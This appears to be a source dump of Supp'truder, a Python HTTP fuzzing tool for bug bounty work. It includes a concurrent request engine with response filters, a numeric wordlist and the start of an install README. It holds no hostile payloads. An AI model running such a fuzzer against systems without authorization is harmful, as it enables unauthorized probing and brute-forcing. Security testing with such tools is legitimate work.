 94 |             except:
 95 |                 log(f"Invalid header format ! {self.raw_request_splitted[0]} is invalid (not like {{key}}: {{value}}]",type="fatal")
 96 |                 exit(1)
 97 |             self.headers[k.lower()] = v
 98 |             self.raw_request_splitted = self.raw_request_splitted[1:]
 99 |         
100 |         while len(self.raw_request_splitted) > 0:
101 |             if len(self.raw_request_splitted[0]) == 0:
102 |                 self.raw_request_splitted = self.raw_request_splitted[1:]
103 |                 continue
104 |             if len(self.raw_request_splitted[0]) > 0:
105 |                 self.data = "\n".join(self.raw_request_splitted)
106 |                 break
107 |     
108 |     def __str__(self):
109 |         return f"""{self.method}\n{self.url}\n{self.headers}\n{self.data}"""
110 | 
111 | class Requests():
112 | 
113 |     headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"}
114 | 
115 |     def __init__(self, method="GET", timeout=60, throttle=0.0, allow_redirects=False, verify_ssl=False, retry=False, headers={}) -> None:
116 |         self.session = requests.Session()
117 |         self.method = method
118 |         self.timeout = timeout
119 |         self.throttle = throttle
120 |         self.allow_redirects = allow_redirects
121 |         self.verify_ssl = verify_ssl
122 |         self.headers.update({k.lower(): v for k,v in headers.items()})
123 | 
124 |         self.errors_count = 0
125 |         self.retry_count = 0
126 |         self.retry = retry
127 | 
128 |         self.disable_warning()
129 |     
130 |     @staticmethod
131 |     def color_status_code(request):
132 |         status = request.status_code
133 |         status_string = str(status)
134 |         if status_string.startswith("2"):
135 |             return "green"
136 |         if status_string.startswith("3"):
137 |             return "cyan"
138 |         if status_string.startswith("4"):
139 |             return "yellow"
140 |         if status_string.startswith("5"):
141 |             return "red"
142 |         return "white"
143 |     
144 |     @staticmethod
145 |     def disable_warning():
146 |         import urllib3
147 |         urllib3.disable_warnings()
148 |     
149 |     def request_object_handler(self, req):
150 |         return self.request_handler(req.url, req.data, req.method, req.headers)
151 |     
152 |     def request_handler(self, url, data=None, method=None, headers={}):
153 |         """
154 |         Do a GET or a POST depending on the method set in settings (can be overrite with the method argument)
155 |         :returns the requests.response object
156 |         """
157 |         method = self.method if not method else method
158 |         if method == "GET":
159 |             return self.get_(url, data, headers)
160 |         if method == "POST":
161 |             return self.post_(url, data, headers)
162 | 
163 | 
164 |     def get_(self, url, data=None, headers={}):
165 |         """
166 |         Do a GET request in the session object
167 |         check if we timeout or if we have a status 429 (rate limit reached)
168 |         resend the request if it is set in the settings
169 |         :returns a tuple with the request object and the parameter requested
170 |         """
171 |         if self.throttle > 0.0:
172 |             time.sleep(self.throttle)
173 | 
174 |         self.headers.update({k.lower(): v for k,v in headers.items()})
175 |         retry = True
176 | 
177 |         try:
178 |             req = self.session.get(url, data=data, timeout=self.timeout, allow_redirects=self.allow_redirects,
179 |                     verify=self.verify_ssl, headers=self.headers)
180 |             if req.status_code == 429:
181 |                 log(
182 |                     f"Rate limit reached, increase --throttle! Current is {self.throttle}", type="warning")
183 |         except Exception as e:
184 |             #print(f"HTTP Error: {e}")
185 |             self.errors_count += 1
186 |             req = None
187 |             if self.retry and retry:
188 |                 try:
189 |                     req = self.session.get(url, data=data, timeout=self.timeout, allow_redirects=self.allow_redirects,
190 |                             verify=self.verify_ssl, headers=self.headers)
191 |                     if req.status_code == 429:
192 |                         log(
193 |                             f"Rate limit reached, increase --throttle! Current is {self.throttle}", type="warning")
194 |                 except:
195 |                     self.retry_count += 1
196 |                     req = None
197 | 
198 |                     retry = False
199 |         return req
200 | 
201 | 
202 |     def post_(self, url, data, headers={}):
203 |         """
204 |         Do a POST request in the session object
205 |         check if we timeout or if we have a status 429 (rate limit reached)
206 |         resend the request if it is set in the settings
207 |         :returns a tuple with the request object and the parameter requested
208 |         """
209 |         if self.throttle > 0.0:
210 |             time.sleep(self.throttle)
211 | 
212 |         self.headers.update({k.lower(): v for k,v in headers.items()})
213 |         
214 |         retry = True
215 | 
216 |         try:
217 |             req = self.session.post(url, data=data, timeout=self.timeout, allow_redirects=self.allow_redirects,
218 |                     verify=self.verify_ssl, headers=self.headers)
219 |             if req.status_code == 429:
220 |                 log(
221 |                     f"Rate limit reached, increase --throttle! Current is {self.throttle}", type="warning")
222 |         except Exception as e:
223 |             print(f"HTTP Error: {e}")
224 |             self.errors_count += 1
225 |             req = None
226 |             if self.retry and retry:
227 |                 try:
228 |                     req = self.session.post(url, data=data, timeout=self.timeout, allow_redirects=self.allow_redirects,
229 |                             verify=self.verify_ssl, headers=self.headers)
230 |                     if req.status_code == 429:
231 |                         log(
232 |                             f"Rate limit reached, increase --throttle! Current is {self.throttle}", type="warning")
233 |                 except:
234 |                     self.retry_count += 1
235 |                     req = None
236 | 
237 |                     retry = False
238 |         return req
239 | 


--------------------------------------------------------------------------------
/sources/intruder.py:
--------------------------------------------------------------------------------
  1 | 
  2 | from concurrent.futures import ThreadPoolExecutor, wait, FIRST_COMPLETED
  3 | from .http import Requests, Request
  4 | from .printing import log
  5 | from .differs import Differs
  6 | import re
  7 | 
  8 | class Intruder():
  9 |     def __init__(self, args, place, wordlist):
 10 |         self.args = args
 11 |         self.place = place
 12 |         self.wordlist = wordlist
 13 |         self.recursive_prefix = []
 14 |         self.recursive_suffix = []
 15 |         self.requests = Requests( method=args.method, 
 16 |                                 timeout=args.timeout, 
 17 |                                 throttle=args.throttle, 
 18 |                                 allow_redirects=args.allow_redirects, 
 19 |                                 verify_ssl=args.verify_ssl, 
 20 |                                 retry=args.retry)
 21 |         self.futures = set()
 22 |         self.fill_statuscode_specs()
 23 |         self.fill_time_spent_specs()
 24 |         self.fill_text_length_specs()
 25 |     
 26 |     def fill_statuscode_specs(self):
 27 |         self.status_code_specs = {"allow":set(), "deny":set()}
 28 | 
 29 |         def gen_statuses(base):
 30 |             if len(base) < 3:
 31 |                 end = f"{str(int(base[0], 10) +1):0<3}"
 32 |             else:
 33 |                 end = str(int(base)+1)
 34 | 
 35 |             base = f"{base:0<3}"
 36 |             return {int(x) for x in range(int(base, 10), int(end, 10))}
 37 |         
 38 |         if len(self.args.filter) == 0 :
 39 |                 self.status_code_specs["allow"] = {"any"}
 40 |                 return
 41 |         for spec in self.args.filter:
 42 |             if spec[0] == "n":
 43 |                 self.status_code_specs["deny"] = self.status_code_specs["deny"].union(gen_statuses(spec.strip("nx")))
 44 |             else:
 45 |                 self.status_code_specs["allow"] = self.status_code_specs["allow"].union(gen_statuses(spec.strip("x")))
 46 |         
 47 |         if len(self.status_code_specs["allow"]) == 0:
 48 |             self.status_code_specs["allow"].add("any")
 49 |             
 50 |     def fill_time_spent_specs(self):
 51 |         self.time_spent_specs = {"above": set(), "lower": set(), "equals": set()}
 52 |         for spec in self.args.time_filter:
 53 |             if spec.startswith(">"):
 54 |                 if spec[1] == "=":
 55 |                     self.time_spent_specs["equals"].add(float(spec.strip(">=<")))
 56 |                 self.time_spent_specs["above"].add(float(spec.strip(">=<")))
 57 |                 continue
 58 |             if spec.startswith("<"):
 59 |                 if spec[1] == "=":
 60 |                     self.time_spent_specs["equals"].add(float(spec.strip("<=>")))
 61 |                 self.time_spent_specs["lower"].add(float(spec.strip("<=>")))
 62 |                 continue
 63 |             if spec.startswith("="):
 64 |                 self.time_spent_specs["equals"].add(float(spec.strip("=><")))
 65 |                 continue
 66 |             log(f"Error while parsing time filter, unknown operand '{spec[0]}'", type="critical")
 67 |     
 68 |     def fill_text_length_specs(self):
 69 |         self.text_length_specs = {"above": set(), "lower": set(), "equals": set()}
 70 |         for spec in self.args.length_filter:
 71 |             if spec.startswith(">"):
 72 |                 if spec[1] == "=":
 73 |                     self.text_length_specs["equals"].add(float(spec.strip(">=<")))
 74 |                 self.text_length_specs["above"].add(float(spec.strip(">=<")))
 75 |                 continue
 76 |             if spec.startswith("<"):
 77 |                 if spec[1] == "=":
 78 |                     self.text_length_specs["equals"].add(float(spec.strip("<=>")))
 79 |                 self.text_length_specs["lower"].add(float(spec.strip("<=>")))
 80 |                 continue
 81 |             if spec.startswith("="):
 82 |                 self.text_length_specs["equals"].add(float(spec.strip("=><")))
 83 |                 continue
 84 |             log(f"Error while parsing length filter, unknown operand '{spec[0]}'", type="critical")
 85 | 
 86 |     def is_status_code_in_specs(self, status_code):
 87 |         if status_code not in self.status_code_specs["deny"] and \
 88 |             (status_code in self.status_code_specs["allow"] or "any" in self.status_code_specs["allow"]):
 89 |             return True
 90 |         return False
 91 | 
 92 |     def is_response_time_in_specs(self, time_elapsed):
 93 |         if len(self.time_spent_specs['equals']) == 0 and \
 94 |             len(self.time_spent_specs["above"]) == 0 and \
 95 |                 len(self.time_spent_specs["lower"]) == 0:
 96 |                 return True
 97 |         for equals in self.time_spent_specs["equals"]:
 98 |             if time_elapsed == equals:
 99 |                 return True
100 |         for lower in self.time_spent_specs["lower"]:
101 |             if time_elapsed < lower:
102 |                 return True
103 |         for above in self.time_spent_specs["above"]:
104 |             if time_elapsed > above:
105 |                 return True
106 |         return False
107 | 
108 |     def is_response_len_specs(self, response_len):
109 |         if len(self.text_length_specs['equals']) == 0 and \
110 |             len(self.text_length_specs["above"]) == 0 and \
111 |                 len(self.text_length_specs["lower"]) == 0:
112 |                 return True
113 |         for equals in self.text_length_specs["equals"]:
114 |             if response_len == equals:
115 |                 return True
116 |         for lower in self.text_length_specs["lower"]:
117 |             if response_len < lower:
118 |                 return True
119 |         for above in self.text_length_specs["above"]:
120 |             if response_len > above:
121 |                 return True
122 |         return False
123 |     
124 |     def is_matching_regex_in_response(self, regex, response_content):
125 |         if regex is not None and len(regex) > 0:
126 |             regex = re.compile(regex, re.IGNORECASE)
127 |             matching = re.findall(regex, response_content)
128 |             if len(matching) > 0:
129 |                 return matching
130 |         return False
131 | 
132 |     def prepare_request_and_send(self, payload, base_payload):
133 |         req = Request(self.args.url, self.args.data, self.args.headers, self.args.method, payload, self.args.placeholder, self.place)
134 |         return base_payload, payload, self.do_request(req)
135 |     
136 |     def do_base_request(self):
137 |         req = Request(self.args.url, self.args.data, self.args.headers, self.args.method, self.args.base_payload, self.args.placeholder, self.place)
138 |         self.base_request = self.do_request(req)
139 |         self.difflib = Differs(self.args.base_payload, self.args.time_difference, self.args.text_difference_ratio, self.args.ratio_type)
140 |         return self.base_request
141 | 
142 |     def do_request(self, req):
143 |         return self.requests.request_object_handler(req)
144 | 
145 |     def start_requests(self):
146 |         executor = ThreadPoolExecutor(max_workers=self.args.threads)
147 |         self.futures.update({executor.submit(self.prepare_request_and_send, p, base_payload) for base_payload,p in self.wordlist.gen_wordlist_iterator()})
148 |         while self.futures:
149 |             done, self.futures = wait(self.futures, return_when=FIRST_COMPLETED)
150 |             for futu in done:
151 |                 base_payload, full_payload, response = futu.result()
152 |                 if response is None:
153 |                     #log(f"A problem occured while fetching the link, your internet might be broken. param: {base_payload}", type="critical")
154 |                     # Accept response
155 |                     if self.args.fuzz_recursive:
156 |                         if self.args.fuzz_recursive_position == "prefix":
157 |                             self.recursive_prefix.append(base_payload)
158 |                         else:
159 |                             self.recursive_suffix.append(base_payload)
160 |                         self.futures.update({executor.submit(self.prepare_request_and_send, p, base_payload) for base_payload,p in self.wordlist.gen_wordlist_iterator(self.recursive_prefix, self.recursive_suffix, self.args.fuzz_recursive_separator)})
161 |                     yield True, response, base_payload, full_payload, ""
162 |                     continue
163 |                 
164 |                 # Base request checks
165 |                 if self.args.use_base_request:
166 |                     if self.base_request is not None:
167 |                         identical = self.difflib.is_identical(self.base_request, response, base_payload, self.args.match_headers, self.args.exclude_headers)
168 |                         if identical:
169 |                             if not self.args.match_base_request:
170 |                                 yield False, response, base_payload, full_payload, ""
171 |                                 continue
172 |                             else:
173 |                                 yield True, response, base_payload, full_payload, ""
174 |                                 continue
175 |                         else:
176 |                             if self.args.match_base_request:
177 |                                 yield False, response, base_payload, full_payload, ""
178 |                                 continue
179 | 
180 | 
181 |                 # FILTERS CHECKS
182 |                 if not self.is_status_code_in_specs(response.status_code):
183 |                     # reject response
184 |                     yield False, response, base_payload, full_payload, ""
185 |                     continue
186 |                 if not self.is_response_time_in_specs(response.elapsed.total_seconds()):
187 |                     # reject response
188 |                     yield False, response, base_payload, full_payload, ""
189 |                     continue
190 |                 if not self.is_response_len_specs(len(response.text)):
191 |                     # reject response
192 |                     yield False, response, base_payload, full_payload, ""
193 |                     continue
194 |                 # extract content
195 |                 matching_regex = False
196 |                 if len(self.args.match_regex) > 0:
197 |                     matching_regex = self.is_matching_regex_in_response( self.args.match_regex, response.text)
198 |                     if not matching_regex:
199 |                         # reject response
200 |                         yield False, response, base_payload, full_payload, ""
201 |                         continue
202 |                 # Accept response
203 |                 if self.args.fuzz_recursive:
204 |                 
205 |                     if self.args.fuzz_recursive_position == "prefix":
206 |                         self.recursive_prefix.append(base_payload)
207 |                     else:
208 |                         self.recursive_suffix.append(base_payload)
209 |                     self.futures.update({executor.submit(self.prepare_request_and_send, p, base_payload) for base_payload,p in self.wordlist.gen_wordlist_iterator(self.recursive_prefix, self.recursive_suffix, self.args.fuzz_recursive_separator)})
210 |                 yield True, response, base_payload, full_payload, matching_regex or ""
211 |                 


--------------------------------------------------------------------------------
/database/3d.txt:
--------------------------------------------------------------------------------
   1 | 0
   2 | 1
   3 | 2
   4 | 3
   5 | 4
   6 | 5
   7 | 6
   8 | 7
   9 | 8
  10 | 9
  11 | 00
  12 | 01
  13 | 02
  14 | 03
  15 | 04
  16 | 05
  17 | 06
  18 | 07
  19 | 08
  20 | 09
  21 | 10
  22 | 11
  23 | 12
  24 | 13
  25 | 14
  26 | 15
  27 | 16
  28 | 17
  29 | 18
  30 | 19
  31 | 20
  32 | 21
  33 | 22
  34 | 23
  35 | 24
  36 | 25
  37 | 26
  38 | 27
  39 | 28
  40 | 29
  41 | 30
  42 | 31
  43 | 32
  44 | 33
  45 | 34
  46 | 35
  47 | 36
  48 | 37
  49 | 38
  50 | 39
  51 | 40
  52 | 41
  53 | 42
  54 | 43
  55 | 44
  56 | 45
  57 | 46
  58 | 47
  59 | 48
  60 | 49
  61 | 50
  62 | 51
  63 | 52
  64 | 53
  65 | 54
  66 | 55
  67 | 56
  68 | 57
  69 | 58
  70 | 59
  71 | 60
  72 | 61
  73 | 62
  74 | 63
  75 | 64
  76 | 65
  77 | 66
  78 | 67
  79 | 68
  80 | 69
  81 | 70
  82 | 71
  83 | 72
  84 | 73
  85 | 74
  86 | 75
  87 | 76
  88 | 77
  89 | 78
  90 | 79
  91 | 80
  92 | 81
  93 | 82
  94 | 83
  95 | 84
  96 | 85
  97 | 86
  98 | 87
  99 | 88
 100 | 89
 101 | 90
 102 | 91
 103 | 92
 104 | 93
 105 | 94
 106 | 95
 107 | 96
 108 | 97
 109 | 98
 110 | 99
 111 | 000
 112 | 001
 113 | 002
 114 | 003
 115 | 004
 116 | 005
 117 | 006
 118 | 007
 119 | 008
 120 | 009
 121 | 010
 122 | 011
 123 | 012
 124 | 013
 125 | 014
 126 | 015
 127 | 016
 128 | 017
 129 | 018
 130 | 019
 131 | 020
 132 | 021
 133 | 022
 134 | 023
 135 | 024
 136 | 025
 137 | 026
 138 | 027
 139 | 028
 140 | 029
 141 | 030
 142 | 031
 143 | 032
 144 | 033
 145 | 034
 146 | 035
 147 | 036
 148 | 037
 149 | 038
 150 | 039
 151 | 040
 152 | 041
 153 | 042
 154 | 043
 155 | 044
 156 | 045
 157 | 046
 158 | 047
 159 | 048
 160 | 049
 161 | 050
 162 | 051
 163 | 052
 164 | 053
 165 | 054
 166 | 055
 167 | 056
 168 | 057
 169 | 058
 170 | 059
 171 | 060
 172 | 061
 173 | 062
 174 | 063
 175 | 064
 176 | 065
 177 | 066
 178 | 067
 179 | 068
 180 | 069
 181 | 070
 182 | 071
 183 | 072
 184 | 073
 185 | 074
 186 | 075
 187 | 076
 188 | 077
 189 | 078
 190 | 079
 191 | 080
 192 | 081
 193 | 082
 194 | 083
 195 | 084
 196 | 085
 197 | 086
 198 | 087
 199 | 088
 200 | 089
 201 | 090
 202 | 091
 203 | 092
 204 | 093
 205 | 094
 206 | 095
 207 | 096
 208 | 097
 209 | 098
 210 | 099
 211 | 100
 212 | 101
 213 | 102
 214 | 103
 215 | 104
 216 | 105
 217 | 106
 218 | 107
 219 | 108
 220 | 109
 221 | 110
 222 | 111
 223 | 112
 224 | 113
 225 | 114
 226 | 115
 227 | 116
 228 | 117
 229 | 118
 230 | 119
 231 | 120
 232 | 121
 233 | 122
 234 | 123
 235 | 124
 236 | 125
 237 | 126
 238 | 127
 239 | 128
 240 | 129
 241 | 130
 242 | 131
 243 | 132
 244 | 133
 245 | 134
 246 | 135
 247 | 136
 248 | 137
 249 | 138
 250 | 139
 251 | 140
 252 | 141
 253 | 142
 254 | 143
 255 | 144
 256 | 145
 257 | 146
 258 | 147
 259 | 148
 260 | 149
 261 | 150
 262 | 151
 263 | 152
 264 | 153
 265 | 154
 266 | 155
 267 | 156
 268 | 157
 269 | 158
 270 | 159
 271 | 160
 272 | 161
 273 | 162
 274 | 163
 275 | 164
 276 | 165
 277 | 166
 278 | 167
 279 | 168
 280 | 169
 281 | 170
 282 | 171
 283 | 172
 284 | 173
 285 | 174
 286 | 175
 287 | 176
 288 | 177
 289 | 178
 290 | 179
 291 | 180
 292 | 181
 293 | 182
 294 | 183
 295 | 184
 296 | 185
 297 | 186
 298 | 187
 299 | 188
 300 | 189
 301 | 190
 302 | 191
 303 | 192
 304 | 193
 305 | 194
 306 | 195
 307 | 196
 308 | 197
 309 | 198
 310 | 199
 311 | 200
 312 | 201
 313 | 202
 314 | 203
 315 | 204
 316 | 205
 317 | 206
 318 | 207
 319 | 208
 320 | 209
 321 | 210
 322 | 211
 323 | 212
 324 | 213
 325 | 214
 326 | 215
 327 | 216
 328 | 217
 329 | 218
 330 | 219
 331 | 220
 332 | 221
 333 | 222
 334 | 223
 335 | 224
 336 | 225
 337 | 226
 338 | 227
 339 | 228
 340 | 229
 341 | 230
 342 | 231
 343 | 232
 344 | 233
 345 | 234
 346 | 235
 347 | 236
 348 | 237
 349 | 238
 350 | 239
 351 | 240
 352 | 241
 353 | 242
 354 | 243
 355 | 244
 356 | 245
 357 | 246
 358 | 247
 359 | 248
 360 | 249
 361 | 250
 362 | 251
 363 | 252
 364 | 253
 365 | 254
 366 | 255
 367 | 256
 368 | 257
 369 | 258
 370 | 259
 371 | 260
 372 | 261
 373 | 262
 374 | 263
 375 | 264
 376 | 265
 377 | 266
 378 | 267
 379 | 268
 380 | 269
 381 | 270
 382 | 271
 383 | 272
 384 | 273
 385 | 274
 386 | 275
 387 | 276
 388 | 277
 389 | 278
 390 | 279
 391 | 280
 392 | 281
 393 | 282
 394 | 283
 395 | 284
 396 | 285
 397 | 286
 398 | 287
 399 | 288
 400 | 289
 401 | 290
 402 | 291
 403 | 292
 404 | 293
 405 | 294
 406 | 295
 407 | 296
 408 | 297
 409 | 298
 410 | 299
 411 | 300
 412 | 301
 413 | 302
 414 | 303
 415 | 304
 416 | 305
 417 | 306
 418 | 307
 419 | 308
 420 | 309
 421 | 310
 422 | 311
 423 | 312
 424 | 313
 425 | 314
 426 | 315
 427 | 316
 428 | 317
 429 | 318
 430 | 319
 431 | 320
 432 | 321
 433 | 322
 434 | 323
 435 | 324
 436 | 325
 437 | 326
 438 | 327
 439 | 328
 440 | 329
 441 | 330
 442 | 331
 443 | 332
 444 | 333
 445 | 334
 446 | 335
 447 | 336
 448 | 337
 449 | 338
 450 | 339
 451 | 340
 452 | 341
 453 | 342
 454 | 343
 455 | 344
 456 | 345
 457 | 346
 458 | 347
 459 | 348
 460 | 349
 461 | 350
 462 | 351
 463 | 352
 464 | 353
 465 | 354
 466 | 355
 467 | 356
 468 | 357
 469 | 358
 470 | 359
 471 | 360
 472 | 361
 473 | 362
 474 | 363
 475 | 364
 476 | 365
 477 | 366
 478 | 367
 479 | 368
 480 | 369
 481 | 370
 482 | 371
 483 | 372
 484 | 373
 485 | 374
 486 | 375
 487 | 376
 488 | 377
 489 | 378
 490 | 379
 491 | 380
 492 | 381
 493 | 382
 494 | 383
 495 | 384
 496 | 385
 497 | 386
 498 | 387
 499 | 388
 500 | 389
 501 | 390
 502 | 391
 503 | 392
 504 | 393
 505 | 394
 506 | 395
 507 | 396
 508 | 397
 509 | 398
 510 | 399
 511 | 400
 512 | 401
 513 | 402
 514 | 403
 515 | 404
 516 | 405
 517 | 406
 518 | 407
 519 | 408
 520 | 409
 521 | 410
 522 | 411
 523 | 412
 524 | 413
 525 | 414
 526 | 415
 527 | 416
 528 | 417
 529 | 418
 530 | 419
 531 | 420
 532 | 421
 533 | 422
 534 | 423
 535 | 424
 536 | 425
 537 | 426
 538 | 427
 539 | 428
 540 | 429
 541 | 430
 542 | 431
 543 | 432
 544 | 433
 545 | 434
 546 | 435
 547 | 436
 548 | 437
 549 | 438
 550 | 439
 551 | 440
 552 | 441
 553 | 442
 554 | 443
 555 | 444
 556 | 445
 557 | 446
 558 | 447
 559 | 448
 560 | 449
 561 | 450
 562 | 451
 563 | 452
 564 | 453
 565 | 454
 566 | 455
 567 | 456
 568 | 457
 569 | 458
 570 | 459
 571 | 460
 572 | 461
 573 | 462
 574 | 463
 575 | 464
 576 | 465
 577 | 466
 578 | 467
 579 | 468
 580 | 469
 581 | 470
 582 | 471
 583 | 472
 584 | 473
 585 | 474
 586 | 475
 587 | 476
 588 | 477
 589 | 478
 590 | 479
 591 | 480
 592 | 481
 593 | 482
 594 | 483
 595 | 484
 596 | 485
 597 | 486
 598 | 487
 599 | 488
 600 | 489
 601 | 490
 602 | 491
 603 | 492
 604 | 493
 605 | 494
 606 | 495
 607 | 496
 608 | 497
 609 | 498
 610 | 499
 611 | 500
 612 | 501
 613 | 502
 614 | 503
 615 | 504
 616 | 505
 617 | 506
 618 | 507
 619 | 508
 620 | 509
 621 | 510
 622 | 511
 623 | 512
 624 | 513
 625 | 514
 626 | 515
 627 | 516
 628 | 517
 629 | 518
 630 | 519
 631 | 520
 632 | 521
 633 | 522
 634 | 523
 635 | 524
 636 | 525
 637 | 526
 638 | 527
 639 | 528
 640 | 529
 641 | 530
 642 | 531
 643 | 532
 644 | 533
 645 | 534
 646 | 535
 647 | 536
 648 | 537
 649 | 538
 650 | 539
 651 | 540
 652 | 541
 653 | 542
 654 | 543
 655 | 544
 656 | 545
 657 | 546
 658 | 547
 659 | 548
 660 | 549
 661 | 550
 662 | 551
 663 | 552
 664 | 553
 665 | 554
 666 | 555
 667 | 556
 668 | 557
 669 | 558
 670 | 559
 671 | 560
 672 | 561
 673 | 562
 674 | 563
 675 | 564
 676 | 565
 677 | 566
 678 | 567
 679 | 568
 680 | 569
 681 | 570
 682 | 571
 683 | 572
 684 | 573
 685 | 574
 686 | 575
 687 | 576
 688 | 577
 689 | 578
 690 | 579
 691 | 580
 692 | 581
 693 | 582
 694 | 583
 695 | 584
 696 | 585
 697 | 586
 698 | 587
 699 | 588
 700 | 589
 701 | 590
 702 | 591
 703 | 592
 704 | 593
 705 | 594
 706 | 595
 707 | 596
 708 | 597
 709 | 598
 710 | 599
 711 | 600
 712 | 601
 713 | 602
 714 | 603
 715 | 604
 716 | 605
 717 | 606
 718 | 607
 719 | 608
 720 | 609
 721 | 610
 722 | 611
 723 | 612
 724 | 613
 725 | 614
 726 | 615
 727 | 616
 728 | 617
 729 | 618
 730 | 619
 731 | 620
 732 | 621
 733 | 622
 734 | 623
 735 | 624
 736 | 625
 737 | 626
 738 | 627
 739 | 628
 740 | 629
 741 | 630
 742 | 631
 743 | 632
 744 | 633
 745 | 634
 746 | 635
 747 | 636
 748 | 637
 749 | 638
 750 | 639
 751 | 640
 752 | 641
 753 | 642
 754 | 643
 755 | 644
 756 | 645
 757 | 646
 758 | 647
 759 | 648
 760 | 649
 761 | 650
 762 | 651
 763 | 652
 764 | 653
 765 | 654
 766 | 655
 767 | 656
 768 | 657
 769 | 658
 770 | 659
 771 | 660
 772 | 661
 773 | 662
 774 | 663
 775 | 664
 776 | 665
 777 | 666
 778 | 667
 779 | 668
 780 | 669
 781 | 670
 782 | 671
 783 | 672
 784 | 673
 785 | 674
 786 | 675
 787 | 676
 788 | 677
 789 | 678
 790 | 679
 791 | 680
 792 | 681
 793 | 682
 794 | 683
 795 | 684
 796 | 685
 797 | 686
 798 | 687
 799 | 688
 800 | 689
 801 | 690
 802 | 691
 803 | 692
 804 | 693
 805 | 694
 806 | 695
 807 | 696
 808 | 697
 809 | 698
 810 | 699
 811 | 700
 812 | 701
 813 | 702
 814 | 703
 815 | 704
 816 | 705
 817 | 706
 818 | 707
 819 | 708
 820 | 709
 821 | 710
 822 | 711
 823 | 712
 824 | 713
 825 | 714
 826 | 715
 827 | 716
 828 | 717
 829 | 718
 830 | 719
 831 | 720
 832 | 721
 833 | 722
 834 | 723
 835 | 724
 836 | 725
 837 | 726
 838 | 727
 839 | 728
 840 | 729
 841 | 730
 842 | 731
 843 | 732
 844 | 733
 845 | 734
 846 | 735
 847 | 736
 848 | 737
 849 | 738
 850 | 739
 851 | 740
 852 | 741
 853 | 742
 854 | 743
 855 | 744
 856 | 745
 857 | 746
 858 | 747
 859 | 748
 860 | 749
 861 | 750
 862 | 751
 863 | 752
 864 | 753
 865 | 754
 866 | 755
 867 | 756
 868 | 757
 869 | 758
 870 | 759
 871 | 760
 872 | 761
 873 | 762
 874 | 763
 875 | 764
 876 | 765
 877 | 766
 878 | 767
 879 | 768
 880 | 769
 881 | 770
 882 | 771
 883 | 772
 884 | 773
 885 | 774
 886 | 775
 887 | 776
 888 | 777
 889 | 778
 890 | 779
 891 | 780
 892 | 781
 893 | 782
 894 | 783
 895 | 784
 896 | 785
 897 | 786
 898 | 787
 899 | 788
 900 | 789
 901 | 790
 902 | 791
 903 | 792
 904 | 793
 905 | 794
 906 | 795
 907 | 796
 908 | 797
 909 | 798
 910 | 799
 911 | 800
 912 | 801
 913 | 802
 914 | 803
 915 | 804
 916 | 805
 917 | 806
 918 | 807
 919 | 808
 920 | 809
 921 | 810
 922 | 811
 923 | 812
 924 | 813
 925 | 814
 926 | 815
 927 | 816
 928 | 817
 929 | 818
 930 | 819
 931 | 820
 932 | 821
 933 | 822
 934 | 823
 935 | 824
 936 | 825
 937 | 826
 938 | 827
 939 | 828
 940 | 829
 941 | 830
 942 | 831
 943 | 832
 944 | 833
 945 | 834
 946 | 835
 947 | 836
 948 | 837
 949 | 838
 950 | 839
 951 | 840
 952 | 841
 953 | 842
 954 | 843
 955 | 844
 956 | 845
 957 | 846
 958 | 847
 959 | 848
 960 | 849
 961 | 850
 962 | 851
 963 | 852
 964 | 853
 965 | 854
 966 | 855
 967 | 856
 968 | 857
 969 | 858
 970 | 859
 971 | 860
 972 | 861
 973 | 862
 974 | 863
 975 | 864
 976 | 865
 977 | 866
 978 | 867
 979 | 868
 980 | 869
 981 | 870
 982 | 871
 983 | 872
 984 | 873
 985 | 874
 986 | 875
 987 | 876
 988 | 877
 989 | 878
 990 | 879
 991 | 880
 992 | 881
 993 | 882
 994 | 883
 995 | 884
 996 | 885
 997 | 886
 998 | 887
 999 | 888
1000 | 889
1001 | 890
1002 | 891
1003 | 892
1004 | 893
1005 | 894
1006 | 895
1007 | 896
1008 | 897
1009 | 898
1010 | 899
1011 | 900
1012 | 901
1013 | 902
1014 | 903
1015 | 904
1016 | 905
1017 | 906
1018 | 907
1019 | 908
1020 | 909
1021 | 910
1022 | 911
1023 | 912
1024 | 913
1025 | 914
1026 | 915
1027 | 916
1028 | 917
1029 | 918
1030 | 919
1031 | 920
1032 | 921
1033 | 922
1034 | 923
1035 | 924
1036 | 925
1037 | 926
1038 | 927
1039 | 928
1040 | 929
1041 | 930
1042 | 931
1043 | 932
1044 | 933
1045 | 934
1046 | 935
1047 | 936
1048 | 937
1049 | 938
1050 | 939
1051 | 940
1052 | 941
1053 | 942
1054 | 943
1055 | 944
1056 | 945
1057 | 946
1058 | 947
1059 | 948
1060 | 949
1061 | 950
1062 | 951
1063 | 952
1064 | 953
1065 | 954
1066 | 955
1067 | 956
1068 | 957
1069 | 958
1070 | 959
1071 | 960
1072 | 961
1073 | 962
1074 | 963
1075 | 964
1076 | 965
1077 | 966
1078 | 967
1079 | 968
1080 | 969
1081 | 970
1082 | 971
1083 | 972
1084 | 973
1085 | 974
1086 | 975
1087 | 976
1088 | 977
1089 | 978
1090 | 979
1091 | 980
1092 | 981
1093 | 982
1094 | 983
1095 | 984
1096 | 985
1097 | 986
1098 | 987
1099 | 988
1100 | 989
1101 | 990
1102 | 991
1103 | 992
1104 | 993
1105 | 994
1106 | 995
1107 | 996
1108 | 997
1109 | 998
1110 | 999
1111 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
  1 | # Supp'truder
  2 | Wassupp' Truder ?
  3 | 
  4 | /!\ Python 3.10 folks /!\
  5 | 
  6 | # Idea
  7 | 
  8 | This tool came from an idea I had while doing bugbounty. I was very dissapointed on the common tools used to fuzz the http protocol, and I wad tired of doing some bash kung-fu or firing burp each time I had to fuzz something needing some pre treatment.
  9 | That's where Supp'truder comes: It provides a unique set of tools to pre-process your payloads and some neat features that will save you some time !
 10 | 
 11 | If you're interested in seeing what the tool can do, look at the examples section.
 12 | 
 13 | # Install
 14 | ## docker
 15 | ### Hub:
 16 | ```bash
 17 | alias supptruder="docker run -it --rm elsicarius/supptruder:latest"
 18 | supptruder <args>
 19 | ```
 20 | 
 21 | ### Sources
 22 | 
 23 | ```bash
 24 | sudo apt install git
 25 | git clone git@github.com:ElSicarius/Supp-truder.git
 26 | 
 27 | cd Supp-truder/docker
 28 | docker-compose build
 29 | docker run -it --rm supptruder:latest
 30 | ```
 31 | 
 32 | ## From sources
 33 | ```bash
 34 | sudo apt install git python3.10 python3-pip virtualenv
 35 | git clone git@github.com:ElSicarius/Supp-truder.git
